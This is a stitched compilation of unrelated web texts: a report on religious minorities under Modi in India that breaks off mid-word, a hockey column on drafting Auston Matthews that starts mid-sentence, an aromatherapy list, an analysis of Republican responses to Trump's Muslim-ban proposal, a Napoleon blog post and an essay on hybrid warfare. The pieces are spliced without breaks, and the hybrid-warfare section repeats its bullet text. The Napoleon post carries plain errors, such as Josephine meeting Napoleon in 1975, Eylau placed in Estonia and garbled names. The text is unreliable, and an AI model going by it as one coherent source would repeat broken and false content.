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Down a series of back alleyways off the main road – past butchers of beef and lamb, and motorcycles negotiating the narrow laneways with shrieking horn blasts – a school in a Muslim neighbourhood of Muzaffarnagar, in the poor northern state of Uttar Pradesh, sits beside a flowing canal of raw sewage. The city of about a half-million people is just a three-hour drive north of New Delhi. Nearby, children play cricket on a field of garbage. A clean hit sends the ball sailing into an open sewer. A boy runs over, picks it out with his bare hand, and throws it back to his friends.
Shandar Ghufran, headmaster of the 600-student school and a community activist, points to a new elevated entranceway and a small brick wall with three concrete steps at the front door; they were recently built to prevent sewage from flowing into the school when it rains. Others in the predominantly Muslim neighbourhood are not so lucky: Their homes are flooded with filthy, disease-carrying water when the rains are heavy. Mr. Ghufran says that no Hindu student has ever applied to come here, and that Muslim students applying elsewhere in the city are regularly turned away.
Since Mr. Modi's election victory, Mr. Ghufran says, already-simmering tensions in Muzaffarnagar have gotten worse. Urban-development funds, he says, seem to have stopped flowing to Muslim communities. Posters have gone up in alleyways imploring Hindu women to bear more children, playing on the Hindu right's constant refrain that Muslims have larger families. Other posters have gone up, too, reading "Long Live Nathuram Godse" – a reference to Mahatma Gandhi's assassin, a one-time member of the RSS, who shot India's pacifist icon for appeasing India's Muslims around the time of Partition. "The pressure is building," Mr. Ghufran says.
Muslims have a long history in India, and the present population is enormous: about 180 million. But more than 80 per cent of Indians are Hindu; and so it doesn't hurt Mr. Modi politically to ignore Muslims or to inflame tensions. Conversely, making concessions to India's Muslim communities could result in a significant backlash from the BJP, the RSS and hardline Hindu volunteers and supporters.
Muzaffarnagar and its surrounding villages exploded with anti-Muslim riots in 2013 – violence that led to more than 60 deaths and caused tens of thousands of Muslims to be displaced from their homes. It was one of the worst incidents of religious violence since the Gujarat riots of 2002.
Amit Shah, president of the BJP and a close confidant of Mr. Modi, visited the city during the 2014 election campaign – and besought the area's Hindus to get revenge on local Muslims by voting for his party. Although Mr. Shah was subsequently censured by India's Election Commission, he remains close to the Prime Minister, even as Mr. Modi himself has toned down his own comments in recent years, after international condemnation of the Gujarat riots.
Amir Khan, a 55-year-old Muslim cloth merchant who operates a roadside shop in Muzaffarnagar, says that since Mr. Modi took office he has seen his business drop by about 85 per cent. "I used to get a lot of [Hindu] Jat customers," he says. "Now, there are not many who come here. It started after the riots. But after the elections it got even worse."
The Muslims who were driven from their homes in Muzaffarnagar have been left with little recourse. In early April, The Globe and Mail visited Uttar Pradesh's Shamli district, where a ragged, morose group was dismantling two large displacement camps after local officials had arrived that morning with bulldozers to evict them – two years after the riots, they still don't have a home.
Riyahat Meerhasan, a wizened 60-year-old man with nine children, had his house destroyed in the riots and was piling bricks one by one into a horse-drawn cart. He and many others here say they are petrified of returning to their villages, where their homes and possessions were left behind. Says Mr. Meerhasan, "I don't know where I'm going to go now."
None of these displaced villagers has received any compensation from either the state or central government. Human Rights Watch has demanded that authorities stop the forced evictions, properly investigate the violence and provide aid. But the only relief seems to have come from a nearby Muslim farmer, Haji Dilshad, who donated his land to build permanent dwellings with funding from the Al Falah trust in the United Kingdom. But even he faced hurdles: The local government tried to prevent him from building the structures on his land, he says, because a permanent refugee community of concrete homes would be proof of how widespread the displacement actually was.
Out here, Mr. Modi's India is not changing: It remains as polarized, poor and underdeveloped as ever.
The riots were rooted in the movement that fuelled Mr. Modi's rise, but none of the displaced Muslims I spoke with expressed any anger at their new prime minister. They simply wanted to send him a message as he makes another of his frequent trips abroad. "He has all the power. He controls the government. If he wants to, he could help us. He could put a roof over our heads. That's my request," says Saddam, who did odd jobs in local villages before he fled to the camp. "I hope you will communicate our plight to the Modi government as he visits Canada."
Christians in the crosshairs
In addition to Muslim communities, India's Christians – who make up 2.3 per cent of the population – have also felt besieged under Mr. Modi. In New Delhi late last year, there were a number of attacks on churches. In February, several men forced their way into a convent and school in West Bengal and over the course of two hours raped a nun and desecrated the chapel.
Just last week, the discrimination even hit a Supreme Court judge – Kurian Joseph, a Christian – who was reprimanded by the Chief Justice after refusing to attend a judicial conference, that included a meeting with the Prime Minister, because it took place over Easter Weekend. Mr. Joseph, alluding to the fact that such events would never be held on Hindu holidays, penned a letter to Mr. Modi, asking him, as "the guardian of Indian secularism," to "benevolently show equal importance and respect to the sacred days of all religions."
In December, one Bharatiya Janata Party MP suggested that the nation celebrate "Good Governance Day" on Dec. 25 in honour of former BJP Prime Minister Atal Bihari Vajpayee's birthday – another obvious offence.
John Dayal, the secretary-general of the All India Christian Council, says that while Hindu nationalists tend to view Indian Muslims as potential secret agents for Pakistan, they also worry that Christians are secretly trying to convert the more than 167 million lower-caste Dalits (formerly known as Untouchables), as well as indigenous, or so-called tribal, people in remote areas, to Christianity.
In early February, while protesting the government's silence over the issue, Mr. Dayal and dozens of other Christian activists and nuns were detained by police. "We've always had a base level of violence against Christian and Muslim communities under different governments," Mr. Dayal says. "The RSS, when another party is in power, is more surreptitious. But when their own government is in power, they become fearless."
The end of the honeymoon
In February, Mr. Modi's long victory streak finally ended. After winning elections repeatedly since the early 2000s – in Gujarat as chief minister, in the national elections of 2014, and then with several party triumphs in state-level elections, Mr. Modi's surge came to a spectacular halt in state elections in New Delhi. Despite campaigning personally, Mr. Modi's BJP was defeated by the Aam Aadmi (Common Man) Party, which grew out of India's recent anti-corruption movement and promised cheap or free water and electricity. Of Delhi's 70 seats, AAP won 67 – just nine months after being routed by the BJP in the national elections.
Mr. Modi's critics saw this as a clear sign of dissatisfaction with India's direction under the BJP leader, while supporters downplayed the loss, saying the BJP was punished for refusing to promise economically unsustainable government services. Either way, the loss was a high-profile setback for Mr. Modi and his party.
This has been compounded by other public stumbles. When U.S. President Barack Obama visited India in January, Mr. Modi greeted him in a suit with pinstripes made up of his name – Narendra Damodardas Modi – repeated over and over again. It was widely mocked as politically tone |
scoring winger in the mold of a Rick Nash or a Jaromir Jagr; someone who can power his way through defenders and put the puck in the net pretty much whenever he needs to, is always going to be near the top of every coach’s wish list. It will be right up there with a top pairing defender and a bona fide starting goalie. Above all, however, will be a franchise centreman. We can talk about building from the net out all day long, but if we look around the league, goalies – even top goalies – get moved far more frequently than top-flight centremen. Same goes for defenders, and wingers. The Leafs have invested tens of millions in every facet of their organization from coaching and development to a world-class training/practice facility, to the best available player personnel that they could coerce to hole up in Hogtown while they attempted put a competitive team together. Until last season, the top of that particular list was winger Phil Kessel, who despite his foibles, led the team in scoring every year but one. He was also the first player in a decade to put up eighty points in a season. None of that mattered, because ultimately, the blueprint proved to be built on sand and it was soon clear that the group they assembled, led arguably by a moody, oft-snakebitten sniper who was prone to scoring slumps and standoffs with his coach, wasn’t going to cut the mustard.
Without a legitimate first-line pivot with the physical tools to control the game the way Mats Sundin or Doug Gilmour once did, the hockey drought in Toronto would continue until all but hardcore fan interest completely dries up. Gilmour was not a big man, but that did not affect the way he played, or the way opponents played him: like he was 6’3’’ and 210 pounds. He was fearless, tenacious and relentless. While highly competitive, Matthews has more in common in terms of his physical makeup with Sundin. At 6’3’’ and 200+ pounds, he has the ideal frame for the task that lies ahead. He can battle down low and he can protect the puck against anyone you care to name. Matthews represents the most complete centreman the Leafs will probably ever draft, and in an era where any hockey trade is tough to make, there is virtually zero chance the Leafs would be able to trade for that elusive cornerstone piece, and it certainly wouldn’t come without a hefty price.
Sure, the Leafs could probably trade for a Leon Draisaitl, who may be a legit first line centre, but if you think it would cost any less than Morgan Rielly to make that happen, you’re fooling yourself. The Leafs have acquired and developed some pretty respectable centremen; Nazem Kadri the most notable of the bunch. There’s also been Mikhail Grabovski, Tyler Bozak, and Dave Bolland. We don’t need to break down the contributions of each; let’s just jump to the overall team record, which is anything but flattering. No matter how you analyze it, whether by means of statistical data or good old eyeballs, the lack of a tried-and-true franchise pivot has hurt and hindered the Maple Leafs despite the quality or quantity of support pieces they’ve employed over the years. You just don’t win with any kind of regularity without that cornerstone guy in the one-hole.
Some may argue that the Leafs could afford to give Matthews a miss if they sign former first-overall draftee Steven Stamkos; a player that would become the Leafs’ de facto top-line centre the instant the ink dries on the signature line of what would be an extremely lucrative contract. Stamkos is in fact a superstar, even if he is four years removed from his 60-goal season. At 26, he is still a force, and will continue to be for a number of years. If the Leafs are fortunate enough to sign Stamkos, they not only create a much-needed buffer for Matthews, they also add a mentor for the entire group, which still lacks that high-character veteran with elite skill to reinforce the messages of coach Mike Babcock. As Brooks Laich once said: “well done is better than well-said”. Toronto has a number of veterans with something to offer its youth, but a true superstar to lead the charge? Not so much.
Toronto media has an insidious habit of devouring its young in the sports arena, and young Mr. Matthews would surely be thrown to the wolves the minute he shows himself to be less than superhuman. If Toronto is to create and maintain that “safe place to play” that Babcock talked about at his introductory presser almost a year ago, acquiring highly skilled veterans who can can take the heat off the younger players while they find their stride is paramount to the overall success of the group, and Stamkos is their best bet. If the Leafs were able to get five or six productive seasons from Stamkos before the inevitable decline became obvious, they’d once again be a ship without a rudder by choosing not to draft Matthews; a future franchise centre in his own right. If he had the opportunity to play the role of young apprentice behind Stammer for a season or two, he arguably develops more completely and organically, without being thrust automatically into the role he will ultimately play.
As an example, let’s look at the rise of Morgan Rielly. Reilly could have arguably gone in the top three of the 2012 draft if there was a do-over today. His skill is matched by his work ethic, which is by all accounts, through the roof. That said, Rielly is still a work in progress with lots of room for development, but it wasn’t until he showed that he could handle big minutes and power play time that the Leafs were comfortable moving Dion Phaneuf and entrusting the young blue liner with added responsibility. Reilly benefited from the buffer that Phaneuf provided, and Matthews would benefit from the presence of a Steven Stamkos in much the same way, as would numerous other Leaf assets. Auston Matthews represents an opportunity to build for the future success that has eluded the Leafs for more than a decade. There was nobody on deck to step into the one-hole when Sundin bid Toronto adieu and the void left by his departure has never been adequately filled. This off-season is the perfect opportunity to land the core pieces that could change the franchises’ fortunes for the next ten years or more, and despite all the noise swirling around in hockey circles, drafting any player other than Matthews would be an opportunity wasted.
There is chatter of the Leafs trading with the Arizona Coyotes for a veritable boatload of high-end assets including one or both of Dylan Strome and Oliver Ekman-Larsson, and while the likelihood of this happening is minimal, any deal for a potential top line centre like Strome, plus a bevy of assets makes a ton more sense than selecting a winger; even one as good as Laine. The Coyotes won’t be so short-sighted as to strip-mine their club in order to make Matthews their own, and it would take nothing less than an absurd overpayment for the Leafs to let that bird in hand fly way.
Make no mistake Leaf fans, MLSE isn’t going to botch this one. Unless they receive a ridiculous overpayment for the top pick in the draft, it is Matthews who will be slipping that blue and white jersey and ball cap on come June 24th.
PRAGUE, CZECH REPUBLIC – SEPTEMBER 22: Auston Matthews #34 of the ZSC Lions Zurich skates during the Champions Hockey League round of thirty-two game between Sparta Prague and ZSC Lions Zurich at o2 Arena Prague on September 22, 2015 in Prague, Czech Republic. (Photo by Sparta Prague/Champions Hockey League via Getty Images)Specific scents are helpful for different issues; someone who is dealing with depression may need an energizing aroma while an anxious person would benefit from more calming, soothing smells. In some cases, certain scents are indicated for multiple conditions, and these may be a welcome addition for anyone seeking greater overall satisfaction and emotional balance.
Aromatherapy Scents for Anxiety/Stress:
Bergamot: Fresh scent with a mix of citrus and floral notes
Lavender: Fresh sweet and floral scent.
Patchouli: Pungent and rich woody smell.
Ylang-Ylang: A mixture of floral, sweet, and fruity notes.
Jasmine: A warm and exotic floral.
Juniper Berry: Pungent sweet, crisp smell with fruity hints.
Geranium: Fresh floral scent with sweet and fruity notes.
Chamomile: Sweet and fruity.
Hyssop: Fresh and fruity with woody and sweet notes.
Clary Sage: Pungent earthy scent with a slight fruitiness.
Aromatherapy Scents for Depression:
Clary Sage: Pungent earthy scent with a slight fruitiness.
Lavender: Fresh sweet and floral scent.
Ylang-Ylang: A mixture of floral, sweet, and fruity notes.
Chamomile: Sweet and fruity.
Frankincense: Fresh and woody with a slightly spicy, fruity note.
Sandalwood: Rich and sweet with a mixture of woody and floral notes.
Marjoram: Slightly medicinal and campherous while sweet and woody.
Aromatherapy Scents for Sleep Difficulty:
Chamomile: Sweet and fruity.
Lavender: Fresh sweet and floral scent.
Patchouli: Pungent and rich woody smell.
Lemon Balm: Citrusy and fresh.
Neroli: Exotic blend of citrus, floral, and sweet notes.
Sandalwood: Rich and sweet with a mixture of woody and floral notes.
Ylang-Ylang: A mixture of floral, sweet, and fruity notes.
Aromatherapy Scents for Mental Clarity and Concentration:
Bergamot: Fresh scent with a mix of citrus and floral notes
Peppermint: Strong minty smell.
Grapefruit: Citrusy and fresh with a slight hint of bitter.
Lemon: Light, citrus scent.
Basil: Sweet with a slightly medicinal smell.
Related:
What is Aromatherapy?Donald Trump’s probably unconstitutional proposal to ban Muslims from entering the United States was soon denounced by … exactly who you might expect to denounce it. The three remaining Democratic candidates immediately condemned it. So did several Republican candidates — Jeb Bush, Chris Christie, John Kasich, Lindsey Graham — who are running in the New Hampshire “lane” of the GOP primary, hoping to cultivate more moderate voters.
The more conservative Republican candidates were slower on the draw. Marco Rubio waited three hours before saying (on Twitter) that he disagreed with Trump. Ted Cruz’s and Ben Carson’s campaigns clarified their candidates’ positions rather than saying much about Trump’s. Mike Huckabee, as of early Tuesday, still hadn’t commented.
It’s not obvious what Republican voters will think of Trump’s proposal — no pollster, as far as we can find, has directly asked about a “total and complete” ban on Muslims entering the U.S. Trump, however, evidently thinks his proposal is good politics: He retweeted a claim from Christian Broadcasting Network correspondent David Brody that the plan could “give [Trump] a boost with evangelicals,” a key group in the Iowa caucuses.
Cruz, Rubio and the other campaigns are arguably acting in their narrow best interest. Cruz’s campaign has been “drafting” off Trump’s for months, staying as close to it as possible without quite colliding with it. (It seems to be working: Cruz has been gaining in the polls, especially in Iowa.) Rubio has also been slowly but steadily improving in the polls and gradually adding endorsements to his tally. Kasich, Bush and Christie, who are struggling everywhere but New Hampshire, have much less to lose.
What’s more perplexing is the reluctance of Republican Party leaders to speak out against Trump. Republican Speaker of the House Paul Ryan declined to comment on Trump’s anti-Muslim proposal, for instance. Republican National Committee Chairman Reince Priebus hadn’t issued any statement as of late Monday night. And of the past three Republican nominees — George W. Bush, John McCain and Mitt Romney — only McCain had said anything.
Perhaps these Republicans are waiting to craft the right language — Romney, in particular, has had no trouble criticizing Trump before. Or perhaps they think any such statements wouldn’t be helpful — or could even backfire, given the distrust of the establishment that the GOP base has. It’s not clear that the GOP has anything in the way of a living elder statesman or stateswoman who has unimpeachable credentials to speak up about Trump. In a poll conducted by Gallup last year, the most admired male politician among Republican voters was … Barack Obama, who was chosen by 8 percent of Republicans. (George W. Bush was next, at 3 percent.) Condoleezza Rice (9 percent), Hillary Clinton (5 percent) and Sarah Palin (4 percent) were the most admired female politicians among Republicans.
But it’s also possible that the Republican reluctance to criticize Trump stems from a surfeit of short-term thinking — combined with a possible misreading of the polls. Several times so far in the campaign, we’ve witnessed the following cycle:
Trump says something offensive or ludicrous. Some pundits loudly proclaim that it could bring about the end of Trump’s campaign. Instead, Trump’s position remains steady or even improved in ballot-test polls. The same pundits therefore conclude that Trump is indestructible and impervious to criticism.
This is not a ridiculous interpretation. But there are some potential problems with it.
One is that most Republicans are still not paying all that much attention to the campaign. Some controversies that garner wall-to-wall coverage from the political press may only reach one-quarter to one-fifth of Americans at home. That mutes the impact of most things the candidates are doing. And any actual effects can easily be overwhelmed by noise in the polling, making it hard to make inferences about causality.
The second big problem is that in a field that still has 14 candidates, more media coverage — even negative media coverage — potentially helps a candidate to differentiate himself and thereby improve his position on the ballot test. In general, there has been a strong correlation between how well a candidate is performing on the ballot test and how much media coverage he’s receiving, although the causality is hard to determine. Trump seems to understand this; indeed, he seems to issue his most controversial remarks and proposals precisely at moments of perceived vulnerability.
Put another way, the media’s obsession over the daily fluctuations in the polls — even when the polls don’t predict very much about voter behavior and don’t necessarily reflect people who are actually likely to vote — may help enable Trump. Republicans are afraid to criticize Trump in part because it rarely produces instant gratification in a “win-the-morning” political culture that keeps score based on polls. Without seeing any repercussions, Trump goes farther out on a limb, shifting the window of acceptable discourse along with him and making it harder to rebuke him the next time around.
UPDATE (Dec. 8, 1:35 p.m.): Although a Trump spokeswoman initially said the ban would include American citizens traveling abroad, Trump said in an interview on Tuesday morning that citizens would be able to travel freely.Napoleon’s Mistress.
The Battle of Eylau was one of those victories for the Grande Armee that a commander might prefer not to boast about. Rules of engagement for the 15th through the 19th centuries generally gave the win to who ever stayed on the battlefield, a call not unlike a tie that goes to the runner in baseball, something so close a convention of history makes the difference.
The battle itself played out in what is now Northeastern Russia and Estonia. A combined force of 112,000 men clashed on a miserably cold day on February 8th 1807. The Prussian Army had been soundly beaten in an attempt to keep Napoleon out of Germany. They retreated eastward to join fresh Russian forces under Levin August Gottlieb Theophil Count von Bennigsen, a Hanoverian who joined the Russian Army as a youth and distinguished himself time and again. He was a conservative General who cared not to waste the lives of his men just for a tab in a history book. He retreated when it made sense and his prudence is probably what put the win in Napoleon’s column. He fielded 67,000 troops and 400 cannon, to Napoleon’s 45,000 troops and 200 cannon. In the early 19th century, a 25,000 man advantage in troops was no guarantee in front of Napoleon’s blooded and fierce army. Had Bennigsen pushed his troops at the exact right moment, he still might have lost the battle because the volatile winter weather was fierce enough to stop troops from combat just yards away from each other.
The entire battle was a chess match with split second decisions and snow and ice that changed every decision, every maneuver, every cannon ball. The question asked is why Napoleon, who had faced much larger forces and smashed them, had failed to bring reinforcements in time? Why did he delay bringing Marshall Ney’s forces from Mlawa and Davout’s VI Corp from Golymin? What was going on with the greatest living military figure at the time?
He was in love.
He was also quite married. In 1795, Joesphine de Beauharnais, Keiseriz der Fransen was what might call a cross between a high society matron and a trollop. It was quite common for aristocratic figures to have a mistress; but Josephine was renowned for her liaisons with high society politicians and generals. She met Napoleon in 1975 and an affair started immediately. He wrote to her: “I awake full of you. Your image and the memory of last night’s intoxicating pleasures has left no rest to my senses.” Few men could say no to Josephine and eventually they married.
I might take a detour to talk about this European tradition of high living generals. It was carried into the New World when General Sir Henry Clinton was made commander of the British forces in America. No sooner did he take his position he began bed bouncing among the more ambitious women who were looking to move up the social ladder. Sometimes that meant that the attractive wife of a British Colonel would make nocturnal visits under a Generals’ bed covers. There was always the chance that a divorce would provide an opening (excuse the pun) for advancement after the war. These European style maneuver generals lived well. They bivouacked in people’s homes, drank the finest wines, enjoyed chamber music and theater and if it were not for the epaulettes, one would simply think they were heirs of a significant fortune.
Napoleon did in fact bivouac with his troops, although he carried with him heavy tents, fine rich furniture, the finest food, and a Guard force of infantry and cavalrymen to save him should he get too close to the battlefield. When winter set in, when night fell, armies generally would set a semi permanent camp and simply rest. During many of those campaigns, Napoleon would bring Josephine with him to the encampment, and she and her own entourage would travel first class, sometimes tracking back through the carnage of battle; burnt villages, bloody wounded soldiers begging for help, that sort of thing.
Napoleon knew late in 1806 that the Russians were maneuvering for a counter attack and would try and pin him against the Vistula or perhaps against the Baltic coast. On December 26th, Bennigsen fought Napoleonic forces to a draw in Pultusk, a virtual win against this historic French general. Napoleon’s best general Marshall Ney found Napoleon away and partying often, oddly distracted at a time when he was most sharp and aggressive.
What he did not know was that Napoleon had met the wife of Athenasius Walewski, the Polish Count. He was devastated and now had to write to Josephine that the war was very difficult now, and therefore she should stay home.
This really is not the end of the story. But when you grow up and read about the number of large scale battles that Napolean won, when you consider how he changed the map of Europe far more than any other man, it’s funny to see that he was felled by a weapon no one is immune from: Cupid’s Arrow.
Sources: Military History Quartlery Review. Autumn 2009, John Prados, The Emperor’s Tipping Point. Boatner, Mark Mayo, III. Encyclopedia of the American Revolution. 1966; revised 1974.
Related Posts:This article was originally published by the Institute for Strategic, Political, Security and Economic Consultancy (ISPSW) in September 2016.
Analysis
1. Change
Warfare remains a chameleon. Twenty‐first century Europe exists in a dynamic strategic environment, in which opponents can be affected significantly by hybrid means, keeping them off balance politically, militarily, and even societally. Violent aggressions from state- and non-state actors along a broad spectrum of conventional and unconventional lines of operation include diplomatic, information, military and economic (DIME) dimensions of conflict. Anti-Access, Area Denial (A2/AD) capabilities undermine the freedom of access across all operating domains: air, land, sea, space, and cyberspace.1 Features driving the development include comprehensive approaches, the mixture of direct and indirect activities, the increasing use of high-tech means and the particular role of information operations. These have been taking war from classical battlefields into grey zones between peace and war.
Particularly the year 2014 has marked a twofold paradigm change in and for Europe.
Firstly, the Ukrainian-Russian conflict highlighted that the use of military force and violence by state actors to achieve political interests has returned to Europe.
, the Ukrainian-Russian conflict highlighted that the use of military force and violence by state actors to achieve political interests has returned to Europe. Secondly, the nature of security challenges has become increasingly hybrid.
Scanning Euro-Atlantic security geographically, in the east and north of Europe, Russia has become – again – the key cause of concern. Two reasons stand out: Russia’s aggressive behaviour in Eastern Europe and its militarization of the Arctic.
From the south, Europe faces numerous security challenges as a result of a complex and unstable Middle East and North Africa (MENA). The Islamic State has become a relevant threat, not only by destabilizing the MENA region, but also as it actively recruits and trains foreign fighters who then return through Europe to their countries of origin.
On top, a wave of migrants and refugees keep coming to Europe from MENA. This has evolved to become a serious economic, humanitarian and even political problem. At the same time, it provides opportunities for violent extremist organizations and transnational criminal organizations to take advantage of the crisis to gain access to Europe.
Europe is also contending with further security challenges, to include growing adversary ballistic missile capabilities, the proliferation of weapons of mass destruction (WMD), infectious diseases, cyber-attacks, international and national terrorism, narco-terrorism, and illicit trafficking. Contributing to the complexity of the European security environment are financial challenges. Several European economies are in no good shape, causing overall instability. In Asia Security tensions have been mounting. These may well affect European security and prosperity. On top climate change will likely be a cause for significant disruption.
2. Hybrid
Hybrid concepts and strategies target vulnerabilities – from cyber-attacks on critical information systems, through the disruption of critical services, such as energy supplies or financial services, to undermining public trust in government institutions or social cohesion. To this end public opinion has become an attractive target.
Clearly, the cyber space constitutes the most extreme form of this vulnerability. Via the cyber space everything is connected to everything else: systems, machines, people. And everything can be damaged, disrupted or put out of service practically from anybody anywhere. Defenders don’t know when an attack is being launched, where it will strike and how. The resulting ambiguity makes an adequate reaction difficult, in particular for societies or multinational organizations that operate on the principle of consensus such as the European Union and NATO.
Hybrid warfare is of strategic nature. It is a potent, complex variation of warfare that simultaneously involves state and non-state actors, with the use of conventional and unconventional means of warfare that are not limited to the battlefield or to a particular physical territory. There are three characteristics
The decision of the war/conflict is searched for primarily at a non-military centres of gravity.
Traditional lines of order and responsibilities are being challenged through operations against specific vulnerabilities of the opponent in the shadow of interfaces.
Through combination of different concepts, methods and means „new” forms of warfare and fighting evolve.
Hybrid warfare employs a broad mix of instruments – military force, technology, crime, terrorism, economic and financial pressures, humanitarian and religious means, intelligence, sabotage, disinformation – across the whole spectrum of warfare – traditional, irregular and/or catastrophic. A stealthy approach and disruptive capacity can be expected, executed within the context of a flexible strategy with altering centres of gravity. Hybrid warfare is not limited to the physical battlefield. On the contrary, hybrid actors seize every opportunity to engage in whatever space is available. This includes traditional and modern media instruments. Non-state actor’s involvement includes militias, transnational criminal groups, or terrorist networks. While in the past, irregular tactics and protracted forms of conflict have mostly been marked as tactics of the weak, in future hybrid opponents may exploit them because of their effectiveness. Grey is the new colour of war.
3. Grey
Diving into grey two actors stand out – Russia and the IS. The so called Islamic State has emerged as a hybrid organisation following the initial Hezbollah model – part terrorist network, part guerrilla army, part proto-state entity. Its key features:
Blended tactics – IS forces include traditional military units as well as smaller, semi-autonomous cells, combining both conventional and guerrilla warfare tactics. They own a wide array of weaponry, from improvised explosive devices and mines to rocket-propelled grenades, drones, and chemical weapons.
– IS forces include traditional military units as well as smaller, semi-autonomous cells, combining both conventional and guerrilla warfare tactics. They own a wide array of weaponry, from improvised explosive devices and mines to rocket-propelled grenades, drones, and chemical weapons. Flexible and adaptable structure – IS quickly absorbs and deploys new resources. Whether new recruits, weaponry, or territory, it constantly incorporates new acquisitions into its strategy and structure.
– IS quickly absorbs and deploys new resources. Whether new recruits, weaponry, or territory, it constantly incorporates new acquisitions into its strategy and structure. Terrorism – Through acts of grotesque and exaggerated violence, IS communicates its ideology to a global audience.
– Through acts of grotesque and exaggerated violence, IS communicates its ideology to a global audience. Propaganda and information war – IS' social media campaigns highlight clear and careful messaging. Each tweet, video, and blog post aiming to glorify and recruit for the IS cause.
– IS' social media campaigns highlight clear and careful messaging. Each tweet, video, and blog post aiming to glorify and recruit for the IS cause. Criminal activity – IS employs a variety of methods to fund its endeavours as it boasts a diverse investment portfolio: black market sales of oil, wheat, and antiquities; ransom money; and good old-fashioned extortion. While donations account for a portion of their funds, IS' criminal enterprises ensure that the group stay financially solvent.
– IS employs a variety of methods to fund its endeavours as it boasts a diverse investment portfolio: black market sales of oil, wheat, and antiquities; ransom money; and good old-fashioned extortion. While donations account for a portion of their funds, IS' criminal enterprises ensure that the group stay financially solvent. Disregard for international law – Based on their extreme interpretations of Sharia law, IS inflicts violence against women and minorities, including barbaric punishments such as stoning, amputations etc. There is no respect of humanitarian and legal norms.
Russia has developed its hybrid approach based on intense studies of Western and other successful actor’s behaviour and carefully derived a conceptual framework; it trained and exercised this framework and finally commenced operations.2
The conceptual framework has been presented already in January 2013 by General Valery Gerasimov, Chief of the General Staff of the Russian Federation, at the annual meeting of the Russian Academy of Military Science:
„The experience of military conflicts... confirm that a perfectly thriving state can, in a matter of months and even days, be transformed into an area of fierce armed conflict, become a victim of foreign intervention, and sink into a web of chaos, humanitarian catastrophe, and civil war...
These days, together with traditional devices, nonstandard ones are being developed. The role of mobile, mixed-type groups of forces, acting in a single intelligence-information space because of the use of the new possibilities of command-and-control-systems has been strengthened. Military actions are becoming more dynamic, active, and fruitful. Tactical and operational pauses that the enemy could exploit are disappearing. New information technologies have enabled significant reductions in the spatial, temporal, and informational gaps between forces and control organs. Frontal engagements of large formations of forces at the strategic and operational levels are gradually becoming a thing of the past. Long-distance, contactless actions against the enemy are becoming the main means of achieving combat and operational goals.
Weapons based on new physical principals and automated systems are being actively incorporated into military activity. The defeat of the enemy ́s objects is conducted throughout the entire depth of his territory. The differences between strategic, operational, and tactical levels, as well as between offensive and defensive operations, are being erased. The application of high-precision weaponry is taking on a mass character.
Asymmetrical actions have come into widespread us e, enabling the nullification of an enemy ́s advantages in armed conflict. Among such actions are the use of special operations forces and internal opposition to create a permanently operating front through the entire territory of the enemy state, as well as informational actions, devices, and means that are constantly being perfected....”3
The subsequent Russian action in the Crimea and the Ukraine highlighted the inherent power Russian style hybrid warfare may generate. Russia’s Special Forces helped to create a fait accompli before the other side was able to understand the overall situation. „Hybrid warfare” employed disinformation and deniable forces to maintain maximum ambiguity. Armed Forces helped to create political advantages operating via "proxy" non-governmental forces in the form of separatists. Throughout the operations Russia displayed the capacity to undermine and seriously weaken their adversary without crossing established thresholds that would trigger a military response. For example, while the rebels directly engaged the Ukrainian army in the Donbas, the Russian military engaged in training exercises just inside Russian territory. These exercises included the use of space, missile and nuclear forces, Special Forces and conventional military units, psychological operations teams and political operatives. All branches of Russia’s military and security services were pulled in, as well as the civilian leadership.
Interestingly the non-military instruments of Russia’s hybrid concept showed quite an impressive performance alongside the military instruments. Russian investments, trade, and capital were employed to influence key economic and political elites. Media were involved to support anti-integration and pro-Russian political parties. Forging of links between Russian organised crime and local criminal elements were noticed, also the establishment of ties among religious institutions, exploitation of unresolved ethnic tensions and campaigns for „minority rights” and massive coordinated cyber strikes on selected targets.
In sum, from the outset Russia never primarily has sought a decision of this conflict in the military field. The military elements of the Russian hybrid approach served the cover up and protection of subversive, secret service, propaganda or political operations. Using hybrid warfare, the focus on a non-military „Centre of Gravity” has become the core of the Russian action towards the Ukraine while optimizing the own performance in the grey zones of security.
4. Gravity
The military concept of a Centre of Gravity4 in conflicts has been introduced by Carl von Clausewitz in the 1820s. It has evolved as a core element of military doctrines that planners draw on in designing strategies for winning wars despite occasional criticism from the academic front.5 Carl von Clausewitz described the enemy’s CoG as "the hub of all power and movement, on which everything depends. That is the point against which all our energies should be directed."6 The only way that a military can achieve its objectives, according to Clausewitz, is to gather intelligence about the enemy’s „moral and physical character,” including their associated CoG. If the military strategist fails to do so, defeat is almost certain.
The U.S. Joint Staff defines centres of gravity as those „characteristics, capabilities, or locations from which a military force derives its freedom of action, physical strength, or will to fight.” At the strategic level, they can include a military force, an alliance, national will or public support, a set of critical capabilities or functions, or national strategy itself. At the operational level, they are generally the principal sources of combat power – such as combat forces that are modern, mobile, or armoured – that can ensure, or prevent, accomplishment of the mission.
Interestingly the Australian Defence Force operational planning follows a CoG interpretation of Joseph L. Strange and Richard Iron. They offered a understanding that multiple CoGs might exist and „may change from phase to phase within a campaign; and that they can change unexpectedly when an enemy shifts the weight of its attack, thus uncovering or relying on a previously unforeseen centre of gravity."7 Once CoGs have been identified, the commander and planning staff determine how to undermine adversary CoGs while protecting friendly CoGs and influencing other actor CoGs in the desired manner.8
Clausewitz thought of the CoG effects based, focusing on achieving the collapse of the enemy, how at least first and second-order effects can be achieved. This makes the CoG approach particularly fitting vis-à-vis NATO’s and the European Union’s Comprehensive Approach to security that is effects based and provides a perspective that explicitly focuses operations on political, military, economic, social, infrastructure, and informational effects by using diplomatic, information, economic and military actions. In combination with the Strange/Iron approach of shifting, multiple CoGs and with the focus on non-military CoGs we are in midst a conceptual approach dealing with hybrid challenges. The Russian focus on a non-military "Centre of Gravity" in the Crimea and the Ukraine highlighted that the military instrument per se may play only a limited role in hybrid warfare. Instead a broad mix of DIME instruments is employed in a synchronized way to achieve the desired political, strategic objectives.
Hybrid warfare appears to be a construct of vaguely connected elements. In reality the pieces are a part of an intended mosaic. Humanitarian convoys followed by conventional war with artillery and tanks in eastern Ukraine, peacekeeping operations in Transnistria, cyber attacks in Estonia, random forays of heavy bombers in the North Sea, submarine games in the Baltic Sea, etc. the diversity of hybrid tactics masks the thoroughly planned order behind the spectrum of tools used and the effects being achieved.
